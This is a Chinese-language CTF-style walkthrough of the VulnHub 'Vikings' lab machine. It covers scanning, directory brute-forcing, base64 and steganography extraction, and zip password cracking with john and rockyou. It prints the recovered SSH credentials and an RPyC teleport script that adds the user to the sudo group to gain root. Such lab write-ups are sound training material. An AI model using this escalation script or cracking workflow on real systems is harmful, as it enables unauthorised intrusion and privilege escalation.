vulnhub-Vikings

发布时间 2023-10-10 20:21:34作者: 介怀

第九周

打点

arp-scan -l

image-20230411185802112

发现主机

信息搜集

nmap -p- 192.168.56.12

image-20231010194036111

这里发现80端口存在http服务,直接使用浏览器进行访问。

nmap -p22,80 -sV 192.168.56.12

image-20231010194110936

image-20230411190431298

发现直接展示了目录。我们进行查看,这里因为它引用了一些国外的资源,加载比较慢。可能得好几分钟。进来之后就是这么一个页面,源代码是没有什么有用的信息的,主要是这段文字,这段文字说了英国人和维京人的战争故事,我们主要记住Ragnar这么个名字。

image-20230411191650677

然后接下来我们进行一个目录爆破的操作。这里使用我们之前用过的gubuster,给他指定一个简单的字典。如果没有wordlists字典可以使用如下的命令安装一下

sudo apt install seclists

image-20230411191903266

image-20230411191933492

gobuster dir -r -u http://192.168.56.12/site -w /usr/share/seclists/Discovery/Web-Content/common.txt -x txt,php,html

image-20230411192323922

这里我们如果使用dirsearch是扫不出这个东西来的,因为dirsearch是用来搜集目录的,所以我们使用gobuster

尝试去访问一下这个war.txt

image-20230411192517572

进一步访问

image-20230411192540821

得到一串字符

隐写

猜测是base64

使用解密网站解密

image-20230411192705661

得到一个PK开头的文件,根据misc的知识可得,这是一个压缩包的文件头,这里我们使用file进一步确认

image-20230411192915765

正如我们所猜想的那样,这是一个zip的压缩包

我们将他另存为1.zip

image-20230411193118339

尝试解压.发现需要密码

cp /usr/share/wordlists/rockyou.txt.gz   ./

先将字典加载到当前文件夹并解压

这里我们需要对这个密码进行爆破,这里还是使用john这个工具

zip2john 1.zip > hash

image-20230411200339875

使用脚本将这个文件先转换为hash。然后指定字典进行爆破

john hash --wordlist=rockyou.txt  

image-20230411194136892

这里爆破成功发现密码是ragnarok123

解压之后出现了这么一张图片。image-20230411195811003

binwalk king 

image-20230411195901418

发现有一个zip文件,使用-e参数将其提取出来

binwalk -e king

image-20230411200532567

root运行出现报错的话加上--run-as=root

image-20230411200628844运行完之后会出现文件文件夹,然后里面存在user这么个文件

image-20230411200741679

出现了一些文本信息,这里看格式很像是 ssh的登录账号格式。

这里需要多次尝试,得出账号密码是

floki  #账号名
f@m0usboatbuilde7  #密码

image-20230411200916421

发现成功登录

提权

image-20230411200958153

发现当前文件夹下有两个文件

查看得到上图的文件内容

image-20230411201127427

查看 /etc/passwd

cat /etc/passwd

可以看到存在ragnar这么个账户,上面说让我们找到他。那么有可能就是需要登录到这个账号。还有一个boat文件。我们再看看查看 /etc/passwd 可以看到存在ragnar这么个账户,上面说让我们找到他。那么有可能就是需要登录到这个账号。

image-20230411201236890

还有一个boat文件

这里就是说我们需要找到第29个质数,然后呢对它进行一个collatz-conjecture 的测试。

image-20230411201342336

翻译一下就是: 对任一个正整数。如果为偶数就除二,如果是奇数就乘3加1,最后都会变成1

所以我们需要先求出第29个质数。

因此我们需要写一个prime.py文件和一个collatz.py文件

prime.py

n = 0
for x in range(1000):
    if x < 2:
        continue
    h = int(x / 2) + 1
    for i in range(2, h):
        if x % i == 0:
            break
    else:
        n += 1
        print(n, ":", x)

第29个质数为109

image-20230411201805161

所以n 等于109

collatz.py

i = 109
c = [i]
while i != 1:
    if i % 2 == 1:
        i = i * 3 + 1
    else:
        i = i // 2
    #ascii字符最大为255
    if i < 256:
        c.append(i)
print(c)


result:
[109, 164, 82, 41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 161, 242, 121, 182, 91, 137, 206, 103, 155, 233, 175, 167, 251, 244, 122, 61, 184, 92, 46, 23, 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1]

image-20230411201903391

使用cyperchef这两个模块筛选出可打印的ascii字符

image-20230411203952202

Hint:可打印字符-----在ASCII码中,第32~126号(共95个)是可打印字符,也就是在显示器上输出能够看得见的

image-20230411203231511

mR)|>^/Gky[gz=\.F#j5P(

这里我们也可以使用脚本直接提取.

i = 109
a= []
c = [i]
while i != 1:
    if i % 2 == 1:
        i = i * 3 + 1
    else:
        i = i // 2
    #ascii字符最大为255
    if i < 256:
        c.append(i)
print(c)
ascii_str = ''
for i in c:
    if  32<=i<=126:
        ascii_str += chr(i)
print(ascii_str)

这个应该就是ragnar这个账号的密码了,这个时候我们进行测试。使用ssh连接上之后输入密码。这里还会需要我们输入一个sudo密码。但是输入密码之后会提示我们也不是sudo组的成员。这里为什么会要求我们输入密码呢,其实就是可能存在某些自启动的程序。我们可以通过一些配置文件去查找。

 ssh ragnar@192.168.56.12 

image-20230411204210786

我们先升级一下shell

/bin/bash

image-20230409161912038

查看一下刚才自启动的bash指令

image-20230411204710715

通过查看.profile这么个配置文件的时候会发现这里面有一个

sudo python3 /usr/local/bin/rpyc_classic.py  #这里就是调用sudo命令去执行

查看一下这个py文件的内容。

cat /usr/local/bin/rpyc_classic.py

image-20230411204945339

image-20230409162132445

第 2 部分:网络引用和异常 — RPyC

这个东西是一个远程服务,分为客户端和服务端。然后我们通过客户端连接上服务器就可以进行数据的通信。执行一些逻辑代码。

image-20230409162556568

第 1 部分:经典 RPyC 简介 — RPyC

这里简单阅读一下这个文档,就知道如何去使用它了。

首先就是上面的启动服务器和连接了。我们可以通过导入rpyc这个模块,然后使用它提供的方法去连接到启动的服务器。

image-20230409163945349

rpyc

然后这里告诉我们可以通过定义一些函数,然后使用teleport这个方法去传出到服务器执行。

image-20230409164140887

该文件属主是root,那么我们如果能去执行一些代码的话,那我们有可能就提权成为root

那我们就可以写一个简单的函数来进行提权

import rpyc
#连接本地服务器
conn = rpyc.classic.connect("localhost")

def shell():
    import os
    #这里是把ragnar添加到sudo组内
    os.system("sudo usermod -a -G sudo ragnar")

#传输函数
fn = conn.teleport(shell)
fn()

image-20230409164951402

python3 exp.py  #运行这个py文件

然后我们退出这个连接,重新连接一下这个账号。

 ssh ragnar@192.168.56.12

mR)|>^/Gky[gz=\.F#j5P(
/bin/bash  #升级shell

sudo -s  #切换root

image-20230411205603362

成功拿下root